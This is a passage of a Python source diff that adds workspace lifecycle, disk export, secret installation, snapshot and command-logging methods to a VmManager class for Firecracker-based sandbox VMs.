except Exception as exc: + workspace.state = "stopped" + workspace.firecracker_pid = None + workspace.last_error = str(exc) + workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) + self._save_workspace_locked(workspace) + raise + self._touch_workspace_activity_locked(workspace) + self._save_workspace_locked(workspace) + return self._serialize_workspace(workspace) + + def start_workspace(self, workspace_id: str) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + if workspace.state == "started": + self._refresh_workspace_service_counts_locked(workspace) + self._touch_workspace_activity_locked(workspace) + self._save_workspace_locked(workspace) + return self._serialize_workspace(workspace) + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + self._stop_workspace_services_locked(workspace, instance) + self._close_workspace_shells_locked(workspace, instance) + try: + self._require_workspace_network_policy_support(network_policy=workspace.network_policy) + if self._runtime_capabilities.supports_guest_exec: + self._ensure_workspace_guest_bootstrap_support(instance) + with self._lock: + self._start_instance_locked(instance) + workspace = self._load_workspace_locked(workspace_id) + if workspace.secrets: + self._install_workspace_secrets_locked(workspace, instance) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = None + workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) + self._save_workspace_locked(workspace) + return self._serialize_workspace(workspace) + except Exception as exc: + try: + if instance.state == "started": + self._backend.stop(instance) + except Exception: + pass + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = "stopped" + workspace.firecracker_pid = None + workspace.last_error = str(exc) + workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) + self._save_workspace_locked(workspace) + raise + + def export_workspace_disk( + self, + workspace_id: str, + *, + output_path: str | Path, + ) -> dict[str, Any]: + raw_output_path = str(output_path).strip() + if raw_output_path == "": + raise ValueError("output_path must not be empty") + resolved_output_path = Path(output_path).expanduser().resolve() + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + rootfs_path = self._workspace_stopped_disk_rootfs_locked( + workspace, + operation_name="workspace_disk_export", + ) + self._scrub_workspace_runtime_state_locked(workspace, rootfs_path=rootfs_path) + self._save_workspace_locked(workspace) + exported = export_workspace_disk_image(rootfs_path, output_path=resolved_output_path) + return { + "workspace_id": workspace_id, + "output_path": str(Path(str(exported["output_path"]))), + "disk_format": str(exported["disk_format"]), + "bytes_written": int(exported["bytes_written"]), + } + + def list_workspace_disk( + self, + workspace_id: str, + *, + path: str = WORKSPACE_GUEST_PATH, + recursive: bool = False, + ) -> dict[str, Any]: + normalized_path = _normalize_workspace_disk_path(path) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + rootfs_path = self._workspace_stopped_disk_rootfs_locked( + workspace, + operation_name="workspace_disk_list", + ) + self._scrub_workspace_runtime_state_locked(workspace, rootfs_path=rootfs_path) + self._save_workspace_locked(workspace) + entries = list_workspace_disk( + rootfs_path, + guest_path=normalized_path, + recursive=recursive, + ) + return { + "workspace_id": workspace_id, + "path": normalized_path, + "recursive": recursive, + "entries": entries, + } + + def read_workspace_disk( + self, + workspace_id: str, + *, + path: str, + max_bytes: int = DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES, + ) -> dict[str, Any]: + normalized_path = _normalize_workspace_disk_path(path) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + rootfs_path = self._workspace_stopped_disk_rootfs_locked( + workspace, + operation_name="workspace_disk_read", + ) + self._scrub_workspace_runtime_state_locked(workspace, rootfs_path=rootfs_path) + self._save_workspace_locked(workspace) + payload = read_workspace_disk_file( + rootfs_path, + guest_path=normalized_path, + max_bytes=max_bytes, + ) + payload["workspace_id"] = workspace_id + return payload + + def delete_workspace( + self, + workspace_id: str, + *, + reason: str = "explicit_delete", + ) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + self._stop_workspace_services_locked(workspace, instance) + self._close_workspace_shells_locked(workspace, instance) + if workspace.state == "started": + self._backend.stop(instance) + workspace.state = "stopped" + self._backend.delete(instance) + shutil.rmtree(self._workspace_dir(workspace_id), ignore_errors=True) + return {"workspace_id": workspace_id, "deleted": True, "reason": reason} + def _validate_limits(self, *, vcpu_count: int, mem_mib: int, ttl_seconds: int) -> None: if not self.MIN_VCPUS <= vcpu_count <= self.MAX_VCPUS: raise ValueError(f"vcpu_count must be between {self.MIN_VCPUS} and {self.MAX_VCPUS}") @@ -587,12 +5786,238 @@ class VmManager: "expires_at": instance.expires_at, "state": instance.state, "network_enabled": instance.network is not None, + "allow_host_compat": instance.allow_host_compat, "guest_ip": instance.network.guest_ip if instance.network is not None else None, "tap_name": instance.network.tap_name if instance.network is not None else None, - "execution_mode": instance.metadata.get("execution_mode", "host_compat"), + "execution_mode": instance.metadata.get("execution_mode", "pending"), "metadata": instance.metadata, } + def _serialize_workspace(self, workspace: WorkspaceRecord) -> dict[str, Any]: + service_count, running_service_count = self._workspace_service_counts_locked( + workspace.workspace_id + ) + return { + "workspace_id": workspace.workspace_id, + "name": workspace.name, + "labels": dict(workspace.labels), + "environment": workspace.environment, + "environment_version": workspace.metadata.get("environment_version"), + "vcpu_count": workspace.vcpu_count, + "mem_mib": workspace.mem_mib, + "ttl_seconds": workspace.ttl_seconds, + "created_at": workspace.created_at, + "last_activity_at": workspace.last_activity_at, + "expires_at": workspace.expires_at, + "state": workspace.state, + "network_policy": workspace.network_policy, + "network_enabled": workspace.network is not None, + "allow_host_compat": workspace.allow_host_compat, + "guest_ip": workspace.network.guest_ip if workspace.network is not None else None, + "tap_name": workspace.network.tap_name if workspace.network is not None else None, + "execution_mode": workspace.metadata.get("execution_mode", "pending"), + "workspace_path": WORKSPACE_GUEST_PATH, + "workspace_seed": _workspace_seed_dict(workspace.workspace_seed), + "secrets": [_serialize_workspace_secret_public(secret) for secret in workspace.secrets], + "command_count": workspace.command_count, + "last_command": workspace.last_command, + "reset_count": workspace.reset_count, + "last_reset_at": workspace.last_reset_at, + "service_count": service_count, + "running_service_count": running_service_count, + "metadata": workspace.metadata, + } + + def _serialize_workspace_list_item(self, workspace: WorkspaceRecord) -> dict[str, Any]: + service_count, running_service_count = self._workspace_service_counts_locked( + workspace.workspace_id + ) + return { + "workspace_id": workspace.workspace_id, + "name": workspace.name, + "labels": dict(workspace.labels), + "environment": workspace.environment, + "state": workspace.state, + "created_at": workspace.created_at, + "last_activity_at": workspace.last_activity_at, + "expires_at": workspace.expires_at, + "command_count": workspace.command_count, + "service_count": service_count, + "running_service_count": running_service_count, + } + + def _serialize_workspace_shell(self, shell: WorkspaceShellRecord) -> dict[str, Any]: + return { + "workspace_id": shell.workspace_id, + "shell_id": shell.shell_id, + "cwd": shell.cwd, + "cols": shell.cols, + "rows": shell.rows, + "state": shell.state, + "started_at": shell.started_at, + "ended_at": shell.ended_at, + "exit_code": shell.exit_code, + "execution_mode": shell.execution_mode, + } + + def _serialize_workspace_service(self, service: WorkspaceServiceRecord) -> dict[str, Any]: + return { + "workspace_id": service.workspace_id, + "service_name": service.service_name, + "state": service.state, + "command": service.command, + "cwd": service.cwd, + "started_at": service.started_at, + "ended_at": service.ended_at, + "exit_code": service.exit_code, + "pid": service.pid, + "execution_mode": service.execution_mode, + "readiness": dict(service.readiness) if service.readiness is not None else None, + "ready_at": service.ready_at, + "stop_reason": service.stop_reason, + "published_ports": [ + _serialize_workspace_published_port_public(published_port) + for published_port in service.published_ports + ], + } + + def _serialize_workspace_snapshot(self, snapshot: WorkspaceSnapshotRecord) -> dict[str, Any]: + return { + "workspace_id": snapshot.workspace_id, + "snapshot_name": snapshot.snapshot_name, + "kind": snapshot.kind, + "created_at": snapshot.created_at, + "entry_count": snapshot.entry_count, + "bytes_written": snapshot.bytes_written, + "deletable": snapshot.kind != "baseline", + } + + def _require_guest_boot_or_opt_in(self, instance: VmInstance) -> None: + if self._runtime_capabilities.supports_vm_boot or instance.allow_host_compat: + return + reason = self._runtime_capabilities.reason or "runtime does not support real VM boot" + raise RuntimeError( + "guest boot is unavailable and host compatibility mode is disabled: " + f"{reason}. Set allow_host_compat=True (CLI: --allow-host-compat) to opt into " + "host execution." + ) + + def _require_guest_exec_or_opt_in(self, instance: VmInstance) -> None: + if self._runtime_capabilities.supports_guest_exec or instance.allow_host_compat: + return + reason = self._runtime_capabilities.reason or ( + "runtime does not support guest command execution" + ) + raise RuntimeError( + "guest command execution is unavailable and host compatibility mode is disabled: " + f"{reason}. Set allow_host_compat=True (CLI: --allow-host-compat) to opt into " + "host execution." + ) + + def _require_workspace_shell_support(self, instance: VmInstance) -> None: + if self._backend_name == "mock": + return + if self._runtime_capabilities.supports_guest_exec: + return + reason = self._runtime_capabilities.reason or ( + "runtime does not support guest interactive shell sessions" + ) + raise RuntimeError( + "interactive shells require guest execution and are unavailable for this " + f"workspace: {reason}" + ) + + def _require_workspace_service_support(self, instance: VmInstance) -> None: + if self._backend_name == "mock": + return + if self._runtime_capabilities.supports_guest_exec or instance.allow_host_compat: + return + reason = self._runtime_capabilities.reason or ( + "runtime does not support guest-backed or host-compatible service execution" + ) + raise RuntimeError( + "workspace services are unavailable for this workspace: " + f"{reason}. Recreate the workspace with --allow-host-compat to opt into " + "host compatibility when guest execution is unavailable." + ) + + def _require_workspace_secret_support(self, instance: VmInstance) -> None: + if self._backend_name == "mock": + return + if self._runtime_capabilities.supports_guest_exec: + return + reason = self._runtime_capabilities.reason or ( + "runtime does not support guest-backed secret installation" + ) + raise RuntimeError( + "workspace secrets require guest execution and are unavailable for this " + f"workspace: {reason}" + ) + + def _require_workspace_network_policy_support( + self, + *, + network_policy: WorkspaceNetworkPolicy, + ) -> None: + if network_policy == "off": + return + if self._runtime_capabilities.supports_guest_network: + return + reason = self._runtime_capabilities.reason or ( + "runtime does not support guest-backed workspace networking" + ) + raise RuntimeError( + "workspace network_policy requires guest networking and is unavailable for this " + f"workspace: {reason}" + ) + + def _workspace_secret_values_locked(self, workspace: WorkspaceRecord) -> dict[str, str]: + return _load_workspace_secret_values( + workspace_dir=self._workspace_dir(workspace.workspace_id), + secrets=workspace.secrets, + ) + + def _workspace_secret_redact_values_locked(self, workspace: WorkspaceRecord) -> list[str]: + return list(self._workspace_secret_values_locked(workspace).values()) + + def _workspace_secret_env_values_locked( + self, + workspace: WorkspaceRecord, + secret_env: dict[str, str], + ) -> dict[str, str]: + secret_values = self._workspace_secret_values_locked(workspace) + env_values: dict[str, str] = {} + for secret_name, env_name in secret_env.items(): + if secret_name not in secret_values: + raise ValueError(f"secret_env references unknown workspace secret {secret_name!r}") + env_values[env_name] = secret_values[secret_name] + return env_values + + def _touch_workspace_activity_locked( + self, + workspace: WorkspaceRecord, + *, + when: float | None = None, + ) -> None: + workspace.last_activity_at = time.time() if when is None else when + + def _install_workspace_secrets_locked( + self, + workspace: WorkspaceRecord, + instance: VmInstance, + ) -> None: + if not workspace.secrets: + return + self._require_workspace_secret_support(instance) + with tempfile.TemporaryDirectory(prefix="pyro-workspace-secrets-") as temp_dir: + archive_path = Path(temp_dir) / "workspace-secrets.tar" + _build_workspace_secret_archive( + workspace_dir=self._workspace_dir(workspace.workspace_id), + secrets=workspace.secrets, + archive_path=archive_path, + ) + self._backend.install_secrets(instance, archive_path=archive_path) + def _get_instance_locked(self, vm_id: str) -> VmInstance: try: return self._instances[vm_id] @@ -616,3 +6041,884 @@ class VmManager: vm_id = instance.vm_id self._reap_expired_locked(now) raise RuntimeError(f"vm {vm_id!r} expired and was automatically deleted") + + def _start_instance_locked(self, instance: VmInstance) -> None: + if instance.state not in {"created", "stopped"}: + raise RuntimeError( + f"vm {instance.vm_id} cannot be started from state {instance.state!r}" + ) + self._require_guest_boot_or_opt_in(instance) + if not self._runtime_capabilities.supports_vm_boot: + instance.metadata["execution_mode"] = "host_compat" + instance.metadata["boot_mode"] = "compat" + if self._runtime_capabilities.reason is not None: + instance.metadata["runtime_reason"] = self._runtime_capabilities.reason + self._backend.start(instance) + instance.state = "started" + + def _exec_instance( + self, + instance: VmInstance, + *, + command: str, + timeout_seconds: int, + host_workdir: Path | None = None, + guest_cwd: str | None = None, + env: dict[str, str] | None = None, + ) -> tuple[VmExecResult, str]: + if timeout_seconds <= 0: + raise ValueError("timeout_seconds must be positive") + if instance.state != "started": + raise RuntimeError(f"vm {instance.vm_id} must be in 'started' state before execution") + self._require_guest_exec_or_opt_in(instance) + prepared_command = command + if self._runtime_capabilities.supports_guest_exec: + prepared_command = _wrap_guest_command(command, cwd=guest_cwd) + workdir = None + else: + instance.metadata["execution_mode"] = "host_compat" + workdir = host_workdir + if env is None: + exec_result = self._backend.exec( + instance, + prepared_command, + timeout_seconds, + workdir=workdir, + ) + else: + exec_result = self._backend.exec( + instance, + prepared_command, + timeout_seconds, + workdir=workdir, + env=env, + ) + execution_mode = instance.metadata.get("execution_mode", "unknown") + return exec_result, execution_mode + + def _prepare_workspace_seed( + self, + seed_path: str | Path | None, + *, + origin_kind: WorkspaceSeedOriginKind | None = None, + origin_ref: str | None = None, + ) -> PreparedWorkspaceSeed: + if seed_path is None: + return PreparedWorkspaceSeed( + mode="empty", + source_path=None, + origin_kind="empty" if origin_kind is None else origin_kind, + origin_ref=origin_ref, + ) + resolved_source_path = Path(seed_path).expanduser().resolve() + if not resolved_source_path.exists(): + raise ValueError(f"seed_path {resolved_source_path} does not exist") + effective_origin_kind: WorkspaceSeedOriginKind = ( + "manual_seed_path" if origin_kind is None else origin_kind + ) + effective_origin_ref = str(resolved_source_path) if origin_ref is None else origin_ref + public_source_path = ( + None if effective_origin_kind == "repo_url" else str(resolved_source_path) + ) + if resolved_source_path.is_dir(): + cleanup_dir = Path(tempfile.mkdtemp(prefix="pyro-workspace-seed-")) + archive_path = cleanup_dir / "workspace-seed.tar" + try: + _write_directory_seed_archive(resolved_source_path, archive_path) + entry_count, bytes_written = _inspect_seed_archive(archive_path) + except Exception: + shutil.rmtree(cleanup_dir, ignore_errors=True) + raise + return PreparedWorkspaceSeed( + mode="directory", + source_path=public_source_path, + origin_kind=effective_origin_kind, + origin_ref=effective_origin_ref, + archive_path=archive_path, + entry_count=entry_count, + bytes_written=bytes_written, + cleanup_dir=cleanup_dir, + ) + if not resolved_source_path.is_file() or not _is_supported_seed_archive( + resolved_source_path + ): + raise ValueError("seed_path must be a directory or a .tar/.tar.gz/.tgz archive") + entry_count, bytes_written = _inspect_seed_archive(resolved_source_path) + return PreparedWorkspaceSeed( + mode="tar_archive", + source_path=public_source_path, + origin_kind=effective_origin_kind, + origin_ref=effective_origin_ref, + archive_path=resolved_source_path, + entry_count=entry_count, + bytes_written=bytes_written, + ) + + def _ensure_workspace_guest_bootstrap_support(self, instance: VmInstance) -> None: + if ( + self._runtime_paths is None + or self._runtime_paths.guest_agent_path is None + or self._runtime_paths.guest_init_path is None + ): + raise RuntimeError( + "runtime bundle does not provide guest bootstrap assets for workspace operations" + ) + rootfs_image = instance.metadata.get("rootfs_image") + if rootfs_image is None or rootfs_image == "": + raise RuntimeError("workspace rootfs image is unavailable for guest operations") + rootfs_path = Path(rootfs_image) + _patch_rootfs_runtime_file( + rootfs_path, + source_path=self._runtime_paths.guest_init_path, + destination_path=WORKSPACE_GUEST_INIT_PATH, + asset_label="guest-init", + file_mode="0100755", + ) + _patch_rootfs_runtime_file( + rootfs_path, + source_path=self._runtime_paths.guest_agent_path, + destination_path=WORKSPACE_GUEST_AGENT_PATH, + asset_label="guest-agent", + file_mode="0100755", + ) + + def _workspace_dir(self, workspace_id: str) -> Path: + return self._workspaces_dir / workspace_id + + def _workspace_runtime_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_RUNTIME_DIRNAME + + def _workspace_host_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_DIRNAME + + def _workspace_baseline_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_BASELINE_DIRNAME + + def _workspace_baseline_archive_path(self, workspace_id: str) -> Path: + return self._workspace_baseline_dir(workspace_id) / WORKSPACE_BASELINE_ARCHIVE_NAME + + def _workspace_snapshots_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_SNAPSHOTS_DIRNAME + + def _workspace_snapshot_archive_path(self, workspace_id: str, snapshot_name: str) -> Path: + return self._workspace_snapshots_dir(workspace_id) / f"{snapshot_name}.tar" + + def _workspace_snapshot_metadata_path(self, workspace_id: str, snapshot_name: str) -> Path: + return self._workspace_snapshots_dir(workspace_id) / f"{snapshot_name}.json" + + def _workspace_commands_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_COMMANDS_DIRNAME + + def _workspace_review_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_REVIEW_DIRNAME + + def _workspace_shells_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_SHELLS_DIRNAME + + def _workspace_services_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_SERVICES_DIRNAME + + def _workspace_secrets_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_SECRETS_DIRNAME + + def _workspace_metadata_path(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / "workspace.json" + + def _workspace_shell_record_path(self, workspace_id: str, shell_id: str) -> Path: + return self._workspace_shells_dir(workspace_id) / f"{shell_id}.json" + + def _workspace_review_record_path(self, workspace_id: str, event_id: str) -> Path: + return self._workspace_review_dir(workspace_id) / f"{event_id}.json" + + def _workspace_service_record_path(self, workspace_id: str, service_name: str) -> Path: + return self._workspace_services_dir(workspace_id) / f"{service_name}.json" + + def _workspace_rootfs_image_path_locked( + self, + workspace: WorkspaceRecord, + ) -> Path: + raw_rootfs_image = workspace.metadata.get("rootfs_image") + if raw_rootfs_image is None or raw_rootfs_image == "": + raise RuntimeError( + f"workspace {workspace.workspace_id!r} does not have a persisted rootfs image" + ) + rootfs_path = Path(raw_rootfs_image) + if not rootfs_path.exists(): + raise RuntimeError( + f"workspace {workspace.workspace_id!r} rootfs image is unavailable at {rootfs_path}" + ) + return rootfs_path + + def _workspace_stopped_disk_rootfs_locked( + self, + workspace: WorkspaceRecord, + *, + operation_name: str, + ) -> Path: + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + if workspace.state != "stopped": + raise RuntimeError( + f"workspace {workspace.workspace_id!r} must be stopped before {operation_name}" + ) + if workspace.metadata.get("execution_mode") == "host_compat": + raise RuntimeError(f"{operation_name} is unavailable for host_compat workspaces") + return self._workspace_rootfs_image_path_locked(workspace) + + def _scrub_workspace_runtime_state_locked( + self, + workspace: WorkspaceRecord, + *, + rootfs_path: Path | None = None, + ) -> None: + execution_mode = workspace.metadata.get("execution_mode") + if execution_mode == "host_compat": + return + scrub_workspace_runtime_paths( + rootfs_path or self._workspace_rootfs_image_path_locked(workspace) + ) + + def _flush_workspace_filesystem_locked( + self, + workspace: WorkspaceRecord, + instance: VmInstance, + ) -> None: + if workspace.state != "started": + return + if self._backend_name == "mock": + return + if not self._runtime_capabilities.supports_guest_exec: + return + self._backend.exec(instance, "sync", 10) + + def _count_workspaces_locked(self) -> int: + return sum(1 for _ in self._workspaces_dir.glob("*/workspace.json")) + + def _load_workspace_locked(self, workspace_id: str) -> WorkspaceRecord: + metadata_path = self._workspace_metadata_path(workspace_id) + if not metadata_path.exists(): + raise ValueError(f"workspace {workspace_id!r} does not exist") + payload = json.loads(metadata_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"workspace record at {metadata_path} is invalid") + return WorkspaceRecord.from_payload(payload) + + def _save_workspace_locked(self, workspace: WorkspaceRecord) -> None: + metadata_path = self._workspace_metadata_path(workspace.workspace_id) + metadata_path.parent.mkdir(parents=True, exist_ok=True) + metadata_path.write_text( + json.dumps(workspace.to_payload(), indent=2, sort_keys=True), + encoding="utf-8", + ) + + def _reap_expired_workspaces_locked(self, now: float) -> None: + for metadata_path in list(self._workspaces_dir.glob("*/workspace.json")): + payload = json.loads(metadata_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + shutil.rmtree(metadata_path.parent, ignore_errors=True) + continue + workspace = WorkspaceRecord.from_payload(payload) + if workspace.expires_at > now: + continue + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + self._close_workspace_shells_locked(workspace, instance) + if workspace.state == "started": + self._backend.stop(instance) + workspace.state = "stopped" + self._backend.delete(instance) + shutil.rmtree(self._workspace_dir(workspace.workspace_id), ignore_errors=True) + + def _ensure_workspace_not_expired_locked( + self, + workspace: WorkspaceRecord, + now: float, + ) -> None: + if workspace.expires_at <= now: + workspace_id = workspace.workspace_id + self._reap_expired_workspaces_locked(now) + raise RuntimeError(f"workspace {workspace_id!r} expired and was automatically deleted") + + def _refresh_workspace_liveness_locked(self, workspace: WorkspaceRecord) -> None: + if workspace.state != "started": + return + execution_mode = workspace.metadata.get("execution_mode") + if execution_mode == "host_compat": + return + if _pid_is_running(workspace.firecracker_pid): + return + workspace.state = "stopped" + workspace.firecracker_pid = None + workspace.last_error = "backing guest process is no longer running" + + def _record_workspace_command_locked( + self, + workspace: WorkspaceRecord, + *, + command: str, + exec_result: VmExecResult, + execution_mode: str, + cwd: str, + ) -> dict[str, Any]: + sequence = workspace.command_count + 1 + commands_dir = self._workspace_commands_dir(workspace.workspace_id) + commands_dir.mkdir(parents=True, exist_ok=True) + base_name = f"{sequence:06d}" + stdout_path = commands_dir / f"{base_name}.stdout" + stderr_path = commands_dir / f"{base_name}.stderr" + record_path = commands_dir / f"{base_name}.json" + stdout_path.write_text(exec_result.stdout, encoding="utf-8") + stderr_path.write_text(exec_result.stderr, encoding="utf-8") + entry: dict[str, Any] = { + "sequence": sequence, + "command": command, + "cwd": cwd, + "exit_code": exec_result.exit_code, + "duration_ms": exec_result.duration_ms, + "execution_mode": execution_mode, + "stdout_file": stdout_path.name, + "stderr_file": stderr_path.name, + "recorded_at": time.time(), + } + record_path.write_text(json.dumps(entry, indent=2, sort_keys=True), encoding="utf-8") + workspace.command_count = sequence + workspace.last_command = { + "sequence": sequence, + "command": command, + "cwd": cwd, + "exit_code": exec_result.exit_code, + "duration_ms": exec_result.duration_ms, + "execution_mode": execution_mode, + } + self._touch_workspace_activity_locked(workspace) + return entry + + def _read_workspace_logs_locked(self, workspace_id: str) -> list[dict[str, Any]]: + entries: list[dict[str, Any]] = [] + commands_dir = self._workspace_commands_dir(workspace_id) + if not commands_dir.exists(): + return entries + for record_path in sorted(commands_dir.glob("*.json")): + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + continue + stdout_name = str(payload.get("stdout_file", "")) + stderr_name = str(payload.get("stderr_file", "")) + stdout = "" + stderr = "" + if stdout_name != "": + stdout_path = commands_dir / stdout_name + if stdout_path.exists(): + stdout = stdout_path.read_text(encoding="utf-8") + if stderr_name != "": + stderr_path = commands_dir / stderr_name + if stderr_path.exists(): + stderr = stderr_path.read_text(encoding="utf-8") + entry = dict(payload) + entry["stdout"] = stdout + entry["stderr"] = stderr + entries.append(entry) + return entries + + def _record_workspace_review_event_locked( + self, + workspace_id: str, + *, + event_kind: WorkspaceReviewEventKind, + payload: dict[str, Any], + when: float | None = None, + ) -> WorkspaceReviewEventRecord: + recorded_at = time.time() if when is None else when + event = WorkspaceReviewEventRecord( + workspace_id=workspace_id, + event_kind=event_kind, + recorded_at=recorded_at, + payload=dict(payload), + ) + event_id = f"{int(recorded_at * 1_000_000_000):020d}-{uuid.uuid4().hex[:8]}" + record_path = self._workspace_review_record_path(workspace_id, event_id) + record_path.parent.mkdir(parents=True, exist_ok=True) + record_path.write_text( + json.dumps(event.to_payload(), indent=2, sort_keys=True), + encoding="utf-8", + ) + return event + + def _list_workspace_review_events_locked( + self, + workspace_id: str, + ) -> list[WorkspaceReviewEventRecord]: + review_dir = self._workspace_review_dir(workspace_id) + if not review_dir.exists(): + return [] + events: list[WorkspaceReviewEventRecord] = [] + for record_path in sorted(review_dir.glob("*.json")): + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + continue + events.append(WorkspaceReviewEventRecord.from_payload(payload)) + events.sort(key=lambda item: (item.recorded_at, item.event_kind)) + return events + + def _workspace_instance_for_live_shell_locked(self, workspace: WorkspaceRecord) -> VmInstance: + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="shell operations", + ) + self._require_workspace_shell_support(instance) + return instance + + def _workspace_instance_for_live_service_locked(self, workspace: WorkspaceRecord) -> VmInstance: + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="service operations", + ) + self._require_workspace_service_support(instance) + return instance + + def _workspace_instance_for_live_operation_locked( + self, + workspace: WorkspaceRecord, + *, + operation_name: str, + ) -> VmInstance: + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + if workspace.state != "started": + raise RuntimeError( + "workspace " + f"{workspace.workspace_id} must be in 'started' state before {operation_name}" + ) + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + return instance + + def _workspace_shell_record_from_payload( + self, + *, + workspace_id: str, + shell_id: str, + payload: dict[str, Any], + metadata: dict[str, str] | None = None, + ) -> WorkspaceShellRecord: + return WorkspaceShellRecord( + workspace_id=workspace_id, + shell_id=str(payload.get("shell_id", shell_id)), + cwd=str(payload.get("cwd", WORKSPACE_GUEST_PATH)), + cols=int(payload.get("cols", DEFAULT_SHELL_COLS)), + rows=int(payload.get("rows", DEFAULT_SHELL_ROWS)), + state=cast(WorkspaceShellState, str(payload.get("state", "stopped"))), + started_at=float(payload.get("started_at", time.time())), + ended_at=( + None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0)) + ), + exit_code=( + None if payload.get("exit_code") is None else int(payload.get("exit_code", 0)) + ), + execution_mode=str(payload.get("execution_mode", "pending")), + metadata=dict(metadata or {}), + ) + + def _workspace_service_record_from_payload( + self, + *, + workspace_id: str, + service_name: str, + payload: dict[str, Any], + metadata: dict[str, str] | None = None, + published_ports: list[WorkspacePublishedPortRecord] | None = None, + ) -> WorkspaceServiceRecord: + readiness_payload = payload.get("readiness") + readiness = dict(readiness_payload) if isinstance(readiness_payload, dict) else None + normalized_published_ports = _workspace_published_port_records( + payload.get("published_ports") + ) + if not normalized_published_ports and published_ports is not None: + normalized_published_ports = list(published_ports) + return WorkspaceServiceRecord( + workspace_id=workspace_id, + service_name=str(payload.get("service_name", service_name)), + command=str(payload.get("command", "")), + cwd=str(payload.get("cwd", WORKSPACE_GUEST_PATH)), + state=cast(WorkspaceServiceState, str(payload.get("state", "stopped"))), + started_at=float(payload.get("started_at", time.time())), + readiness=readiness, + ready_at=( + None if payload.get("ready_at") is None else float(payload.get("ready_at", 0.0)) + ), + ended_at=( + None if payload.get("ended_at") is None else float(payload.get("ended_at", 0.0)) + ), + exit_code=( + None if payload.get("exit_code") is None else int(payload.get("exit_code", 0)) + ), + pid=None if payload.get("pid") is None else int(payload.get("pid", 0)), + execution_mode=str(payload.get("execution_mode", "pending")), + stop_reason=_optional_str(payload.get("stop_reason")), + published_ports=normalized_published_ports, + metadata=dict(metadata or {}), + ) + + def _load_workspace_shell_locked( + self, + workspace_id: str, + shell_id: str, + ) -> WorkspaceShellRecord: + record_path = self._workspace_shell_record_path(workspace_id, shell_id) + if not record_path.exists(): + raise ValueError(f"shell {shell_id!r} does not exist in workspace {workspace_id!r}") + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"shell record at {record_path} is invalid") + return WorkspaceShellRecord.from_payload(payload) + + def _workspace_service_counts_locked(self, workspace_id: str) -> tuple[int, int]: + services = self._list_workspace_services_locked(workspace_id) + return len(services), sum(1 for service in services if service.state == "running") + + def _start_workspace_service_published_ports( + self, + *, + workspace: WorkspaceRecord, + service: WorkspaceServiceRecord, + guest_ip: str, + published_ports: list[WorkspacePublishedPortSpec], + ) -> list[WorkspacePublishedPortRecord]: + services_dir = self._workspace_services_dir(workspace.workspace_id) + started: list[WorkspacePublishedPortRecord] = [] + try: + for spec in published_ports: + started.append( + _start_workspace_published_port_proxy( + services_dir=services_dir, + service_name=service.service_name, + workspace_id=workspace.workspace_id, + guest_ip=guest_ip, + spec=spec, + ) + ) + except Exception: + for published_port in started: + _stop_workspace_published_port_proxy(published_port) + raise + return started + + def _workspace_baseline_snapshot_locked( + self, + workspace: WorkspaceRecord, + ) -> WorkspaceSnapshotRecord: + baseline_archive_path = self._workspace_baseline_archive_path(workspace.workspace_id) + if not baseline_archive_path.exists(): + raise RuntimeError( + "workspace snapshots and reset require a baseline snapshot. " + "Recreate the workspace to use snapshot/reset features." + ) + entry_count, bytes_written = _inspect_seed_archive(baseline_archive_path) + return WorkspaceSnapshotRecord( + workspace_id=workspace.workspace_id, + snapshot_name="baseline", + kind="baseline", + created_at=workspace.created_at, + entry_count=entry_count, + bytes_written=bytes_written, + ) + + def _resolve_workspace_snapshot_locked( + self, + workspace: WorkspaceRecord, + snapshot_name: str, + ) -> tuple[WorkspaceSnapshotRecord, Path]: + normalized_name = _normalize_workspace_snapshot_name(snapshot_name, allow_baseline=True) + if normalized_name == "baseline": + baseline = self._workspace_baseline_snapshot_locked(workspace) + return baseline, self._workspace_baseline_archive_path(workspace.workspace_id) + snapshot = self._load_workspace_snapshot_locked(workspace.workspace_id, normalized_name) + return ( + snapshot, + self._workspace_snapshot_archive_path(workspace.workspace_id, 